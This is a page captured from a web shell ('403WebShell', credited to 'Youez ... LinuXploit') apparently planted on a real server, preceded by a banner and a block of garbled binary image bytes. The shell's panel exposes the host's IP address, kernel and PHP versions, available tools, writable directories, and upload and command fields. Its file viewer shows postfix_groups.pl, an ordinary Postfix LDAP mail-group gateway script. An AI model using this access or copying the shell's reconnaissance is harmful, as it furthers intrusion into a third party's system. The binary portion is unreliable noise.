....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 195.3.193.30  /  Your IP : 216.73.216.125
Web Server : Apache
System : Linux server3 5.10.0-35-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : web032 ( 1035)
PHP Version : 7.3.33
Disable Function : show_source, highlight_file, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, virtual, dl, disk_total_space, posix_getpwnam, posix_getpwuid, posix_mkfifo, posix_mknod, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_nice, openlog, syslog, pfsockopen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/postfix/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/postfix/postfix_groups.pl
#! /usr/bin/perl

# Gateway script for postfix to send to LDAP mail-enabled groups.
# $Id: postfix_groups.pl,v 1.6 2007/01/29 16:11:07 subbarao Exp $

#++
# NAME
#   postfix_groups.pl 8
# SUMMARY
#   Pipe mailer program for postfix to send to LDAP mail-enabled groups.
# SYNOPSIS
#   postfix_groups.pl <sender> <nexthop> <recipient>
# DESCRIPTION
#   postfix_groups.pl delivers mail to LDAP mail-enabled groups. It is
#   intended to be invoked by \fBpipe\fR(8). Here is an example of a
#   simple mail-enabled LDAP group:
#
#   dn: cn=postfix-hackers, ou=Groups, o=hp.com
#   .br
#   objectClass: top
#   .br
#   objectClass: groupOfNames
#   .br
#   objectClass: mailGroup
#   .br
#   cn: postfix-hackers
#   .br
#   mail: postfix-hackers@groups.hp.com
#   .br
#   member: uid=lamont.jones@hp.com, ou=People, o=hp.com
#   .br
#   member: uid=kartik.subbarao@hp.com, ou=People, o=hp.com
#
#   Here are excerpts from the people entries who are members of this group:
#
#   dn: uid=lamont.jones@hp.com, ou=People, o=hp.com
#   .br
#   mailRoutingAddress: lamont@cranston.fc.hp.com
#
#   dn: uid=kartik.subbarao@hp.com, ou=People, o=hp.com
#   .br
#   mailRoutingAddress: subbarao@quest.lf.hp.com
#
#   postfix_groups.pl expands the incoming address
#   postfix-hackers@groups.hp.com to the destination addresses
#   lamont@cranston.fc.hp.com and subbarao@quest.lf.hp.com.
#
# CONFIGURATION
#   To configure postfix_groups.pl to handle addresses of the form
#   groupaddr@groups.mycompany.com, specify the following in \fBmaster.cf\fR:
#
# groups   unix  -   n   n   -   -   pipe
# flags=q user=uucp argv=/path/to/postfix_groups.pl ${sender} ${nexthop} ${recipient}
#
#   And the following in the \fBtransport\fR file:
#
# groups.mycompany.com	groups:groups
#
#   And the following in \fBmain.cf\fR (assuming an LDAP server
#   ldap.mycompany.com with the root DN of o=mycompany.com):
#
# groups_destination_recipient_limit = 1
# groups_server_host = ldap.mycompany.com
# groups_search_base = o=mycompany.com
# groups_query_filter = (mail=%u@groups.mycompany.com)
# groups_result_attribute = mailRoutingAddress mgrpRFC822MailMember
# groups_special_result_attribute = member memberURL mgrpDeliverTo
# groups_domain = groups.mycompany.com
# groups_bind = no
#
#   Note: The groups_* map should not be referenced in virtual_maps or
#   elsewhere. Also note that the groups_destination_recipient_limit
#   should be set to 1.
#
## [Describe main.cf parameters]
## TBD
#
## [Describe LDAP attributes that govern mail-enabled groups]
## TBD
#
# AUTHOR
#   Kartik Subbarao <subbarao@computer.org>
#
# SEE ALSO
#   \fBpipe\fR(8)
#   http://www.watersprings.org/pub/id/draft-steinback-ldap-mailgroups-00.txt
#   http://playground.sun.com/laser/0066.html
#   RFC 2919
## TODO: Document implementation differences/enhancements by this script,
## compared to the draft spec.
#--

use Mail::Internet;
use Mail::Address;
use Net::SMTP;
use Net::LDAP qw (:all);
use URI;
use File::Basename;
use Sys::Syslog qw(:DEFAULT setlogsock);

use strict;

$ENV{'PATH'} = '/usr/local/bin:/usr/sbin:/usr/bin:/bin';
# Exit values from /usr/include/sysexits.h
my $DATAERR=65;
my $NOUSER=67;
my $SOFTWARE=70;
my $OSFILE=72;
my $NOPERM=77;
my $TEMPFAIL=75; # Most LDAP-related errors are transient failures

my $sender = shift(@ARGV); 		# ${sender}
my $map = shift(@ARGV); 		# ${nexthop} == map name
my $recipient = shift(@ARGV);	# ${recipient}
my $debug = 0;

if ($debug && ! -t STDIN) {
	open(STDOUT, "> /tmp/postfix_groups.stdout");
	open(STDERR, "> /tmp/postfix_groups.stderr");
}

setlogsock('unix');
openlog(basename($0), 'pid', 'mail');

# Read postfix configuration from main.cf into %postconf hash
my $maincf_file = '/etc/postfix/main.cf';
my %postconf;
get_postfix_params($maincf_file, \%postconf);

my $ldap_host = $postconf{"${map}_server_host"} || 'localhost';
my $ldap_port = $postconf{"${map}_server_port"} || 389;
my $ldap_timeout = $postconf{"${map}_timeout"} || 120;
my $basedn = $postconf{"${map}_search_base"};
my @excluded_resolved_domains =
	split(" ", $postconf{"${map}_excluded_resolved_domains"});

my $mail_attr = 'mail';
my $member_attr = 'member';
my @group_objectclasses = qw(groupOfNames groupOfURLs);
my @ldapurl_attrs = qw(memberURL mgrpDeliverTo);
my @default_result_attrs = split(" ", $postconf{"${map}_result_attribute"});
my @allowed_broadcaster_result_attrs = ($mail_attr, @default_result_attrs);
my $allowed_broadcaster_attr = 'mgrpAllowedBroadcaster';
my $errorsto_attr = 'mgrpErrorsTo';
my $addheader_attr = 'mgrpAddHeader';
my $removeheader_attr = 'mgrpRemoveHeader';

my $smtp_host = 'localhost'; # Use smtpd running on localhost
my $smtpd_recipient_limit = $postconf{smtpd_recipient_limit}
							|| `postconf -hx smtpd_recipient_limit`
							|| 1000;
chomp $smtpd_recipient_limit;


# Read message from STDIN
my $message = Mail::Internet->new(\*STDIN, Modify => 0);

my $ldap = Net::LDAP->new($ldap_host,
						  port => $ldap_port,
						  timeout => $ldap_timeout)
	or warn("$ldap_host: $@\n"), exit $TEMPFAIL;

## TODO: Explicitly specify the attributes retrieved by the first search, so
## that it can match the specific names as defined (e.g. member, etc)
my $ldapmesg = $ldap->search(base => $basedn,
							 filter => "(mail=$recipient)");
if ($ldapmesg->code) {
	warn("$ldap_host: ", $ldapmesg->error, "\n");
	exit $TEMPFAIL;
}
# $mail_attr is assumed to be a unique attribute
my $entry = $ldapmesg->entry(0)
	or warn("Couldn't find entry for $recipient in $ldap_host\n"), exit $NOUSER;

my @allowed_broadcasters = $entry->get_value($allowed_broadcaster_attr);
my $errorsto = $entry->get_value($errorsto_attr);
my @addheaders = $entry->get_value($addheader_attr);
my @removeheaders = $entry->get_value($removeheader_attr);

my $header = $message->head;
$header->add('X-postfixgroups-version', ('$Revision: 1.6 $' =~ /\$Revision:\s+([^\s]+)/)[0]);

# Check if user is allowed to send to this list
my $from = (Mail::Address->parse($header->get('From:')))[0];
my $fromaddr = $from->address;
my @allowed_fromaddrs;
foreach my $allowed_broadcaster (@allowed_broadcasters) {
	# Allowed broadcasters can be specified as a mailto: or ldap: URL.
	my $uri = URI->new($allowed_broadcaster);
	if ($uri->scheme eq 'ldap') {
		# Expand the LDAP entry for all appropriate mail addresses,
		my @attrs = $uri->attributes;
		if (@attrs) {
			# If attributes are specified in the LDAP URL,
			# their values are expanded as DNs, instead of expanding
			# the LDAP entry itself.
			my $mesg = $ldap->search(base => $uri->dn,
						  scope => 'base',
						  filter => "(objectclass=*)",
						  attrs => \@attrs);
			if ($mesg->code) {
				if ($mesg->code == LDAP_NO_SUCH_OBJECT) {
					syslog('warning', "Could not find allowed broadcaster " . $uri->dn);
					next;
				}
				warn("$ldap_host: ", $mesg->error, "\n");
				exit $TEMPFAIL;
			}

			my $entry = $mesg->entry(0) or next;

			foreach my $dnval (map { $entry->get_value($_) } @attrs) {
				push(@allowed_fromaddrs,
					expand_entry(dn => $dnval,
						resultattrs => \@allowed_broadcaster_result_attrs));
			}
		}
		else {
			# Expand the entry, and append to the list of allowed
			# broadcaster addresses.
			push(@allowed_fromaddrs,
				expand_entry(dn => $uri->dn,
					resultattrs => \@allowed_broadcaster_result_attrs));
		}
	}
	elsif ($uri->scheme eq 'mailto') {
		push(@allowed_fromaddrs, $uri->to);
	}
	else {
		# Unknown scheme, treat it as an RFC 822 mail address
		push(@allowed_fromaddrs, $allowed_broadcaster);
	}
}

if (@allowed_fromaddrs) {
	if (!grep(/^$fromaddr$/i, @allowed_fromaddrs)) {
		warn("$fromaddr is not allowed to send to $recipient\n");
		exit $NOPERM;
	}
}

# Populate Errors-To: header if requested. Also adjust envelope sender.
if ($errorsto) {
	# Only supports RFC 822 mail address specification for now
	$errorsto =~ s/^mailto://;
	$header->add(undef, "Errors-To: $errorsto");
	$sender = $errorsto;
}

# Add List-Id header (defined in RFC 2919)
(my $listid = $recipient) =~ s/@/.list-id./;
$header->add('List-Id', $listid);

# Adjust message headers as appropriate
foreach my $addh (@addheaders) { $header->add(undef, $addh) }
foreach my $remh (@removeheaders) { $header->delete($remh) }

if ($debug) {
	open(DEBUGMESSAGE, "> /tmp/postfix_groups.message");
	$message->print(\*DEBUGMESSAGE);
	close DEBUGMESSAGE;
}

# Get target addresses
my @alladdrs = expand_entry(entry => $entry);

# Exclude specified domains
my (@addrs, @excluded_addrs);
foreach my $addr (@alladdrs) {
	my $excluded;
	foreach my $domain (@excluded_resolved_domains) {
		grep(/$domain$/, $addr) and $excluded = 1, last;
	}
	if ($excluded) { push(@excluded_addrs, $addr) }
	else { push(@addrs, $addr) }
}
syslog('warning', "The following addresses were explicitly excluded from $recipient: " .  join(',', @excluded_addrs))
	if @excluded_addrs;

# Sort list of addresses by reversed domain name, to assist with bundling mail
@addrs = sort { lc(reverse($a)) cmp lc(reverse($b)) } @addrs;
$debug and print join("\n", @addrs) . "\n";
## TODO: do some more enhanced sorting to better collapse addresses,
## to minimize the number of messages sent out.

# Send the message
my $smtp = Net::SMTP->new($smtp_host, Debug => $debug)
	or warn("Could not contact SMTP server on $smtp_host\n"), exit $TEMPFAIL;
my @badaddrs;
while (@addrs) {
	my (@rcpt_to, @goodaddrs, %seen);

	$smtp->mail($sender);
	# Break up recipients based on $smtpd_recipient_limit
	@rcpt_to = splice(@addrs, 0, $smtpd_recipient_limit);
	@goodaddrs = $smtp->to(@rcpt_to, { SkipBad => 1 });
	@seen{@goodaddrs} = ();
	foreach my $addr (@rcpt_to) {
		push(@badaddrs, $addr) unless exists $seen{$addr};
	}
	unless ($smtp->data(split(/^/m, $message->as_string))) {
		warn("Message not accepted by SMTP server $smtp_host\n");
		exit $SOFTWARE;
	}
}
syslog('warning', "The following addresses were not accepted by the SMTP server on $smtp_host: " . join(',', @badaddrs))
	if @badaddrs;

exit;


# Read postfix configuration from main.cf into a hash
sub get_postfix_params
{
	my ($maincf_file, $hashref) = @_;
	local $/ = undef;

	open(MAINCF, $maincf_file) or warn("$maincf_file: $!\n"), exit $OSFILE;
	my $maincfstr = <MAINCF>; close MAINCF;
	$maincfstr =~ s/^#.*?\n//mg;  # Get rid of comments
	$maincfstr =~ s/\n[ \t]+/ /mg; # Collapse line continuation
	foreach (split(/\n/, $maincfstr)) {
		my ($param, $val);
		($param, $val) = /\s*(\S+)\s*=\s*(.*?)\s*$/;
		$hashref->{$param} = $val;
	}
}


# Expand an LDAP entry, returning a list of results (culled for duplicates)
sub expand_entry
{
	my %arg = (@_);
	my (%results, @result_attrs);
	my ($dn, $mesg, $entry, @entries, %seen);

	@result_attrs = $arg{resultattrs}
					? @{$arg{resultattrs}} : @default_result_attrs;

	push(@entries, $arg{entry}) if $arg{entry};	# Passed as entry
	push(@entries, $arg{dn}) if $arg{dn}; 		# Passed as DN

	while (my $entry = shift(@entries)) {
		unless (ref $entry) { # Actually a DN, get corresponding entry
			my $dn = $entry;
			$mesg = $ldap->search(base => $dn,
						  		  scope => 'base',
							  	  filter => "(objectclass=*)",
							  	  attrs => [ $mail_attr,
								  			 $member_attr,
											 @ldapurl_attrs,
											 @result_attrs ]);
			if ($mesg->code) {
				if ($mesg->code == LDAP_NO_SUCH_OBJECT) {
					syslog('warning', "Could not find entry $dn");
					next;
				}
				warn("$ldap_host: ", $mesg->error, "\n");
				exit $TEMPFAIL;
			}

			$entry = $mesg->entry(0) or next;
		}

		# Add any result attributes of the entry itself to the results hash
		foreach my $value (map { $entry->get_value($_) } @result_attrs) {
			$results{$value} = 1;
		}

		# Add any static group member DNs to the list of entries
		if ($entry->exists($member_attr)) {
			# Break infinite loops from malformed nested groups
			push(@entries, $entry->get_value($member_attr))
				unless $seen{$entry->dn};
		}

		# Perform any specified dynamic queries
		foreach my $query (map { $entry->get_value($_) } @ldapurl_attrs) {
			my $uri = URI->new($query);
			$mesg = $ldap->search(base => $uri->dn,
								  scope => $uri->scope,
								  filter => $uri->filter,
								  attrs => ['objectclass', @result_attrs]);
			if ($mesg->code) {
				if ($mesg->code == LDAP_NO_SUCH_OBJECT) {
					syslog('warning', "Invalid base DN in $query\n");
					next;
				}
				warn("$ldap_host: ", $mesg->error, "\n");
				exit $TEMPFAIL;
			}

			# Add the result attributes of each group member to the results hash
			foreach my $memberentry ($mesg->entries) {
				foreach my $value (map { $memberentry->get_value($_) }
										@result_attrs) {
					$results{$value} = 1;
				}
				# Add any nested groups to the list of entries to be expanded
				my $isgroup;
				foreach my $oc (@group_objectclasses) {
					grep(/^$oc$/i, $memberentry->get_value('objectClass'))
						and $isgroup = 1, last;
				}
				if ($isgroup) {
					# Check for infinite loops in nested groups
					push(@entries, $memberentry->dn)
						unless $seen{$memberentry->dn};
				}
			}
		}

		# Mark that we saw this entry's dn
		$seen{$entry->dn} = 1;
	}

	return keys %results;
}

Youez - 2016 - github.com/yon3zu
LinuXploit